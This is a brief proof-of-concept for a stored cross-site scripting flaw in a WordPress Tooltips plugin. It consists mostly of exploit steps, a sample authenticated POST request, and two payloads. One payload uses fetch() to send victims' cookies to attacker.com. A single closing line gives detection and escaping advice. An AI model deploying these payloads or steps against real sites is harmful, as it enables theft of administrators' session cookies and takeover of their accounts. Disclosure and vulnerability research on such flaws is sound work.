CVE-2025-63005

// CVE-2025-63005 WordPress Tooltips Stored XSS PoC // Author: [email protected] // Payload: <script>alert(document.cookie)</script> // or // Payload: <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> // Steps to exploit: // 1. Login to WordPress with low-privilege account (subscriber/contributor) // 2. Navigate to Tooltips settings or create new tooltip // 3. Insert XSS payload in tooltip content field // 4. Save the tooltip // 5. When admin or other users view pages with this tooltip, XSS will execute // Example HTTP POST request: /* POST /wp-admin/admin.php?page=wordpress-tooltips HTTP/1.1 Host: target.com Cookie: [authenticated cookie] Content-Type: application/x-www-form-urlencoded tooltip_content=<script>alert(document.cookie)</script>&action=save_tooltip */ // Detection: Check for unescaped HTML in tooltip storage and output // The plugin should use htmlspecialchars() or wp_kses() before storing/outputting data

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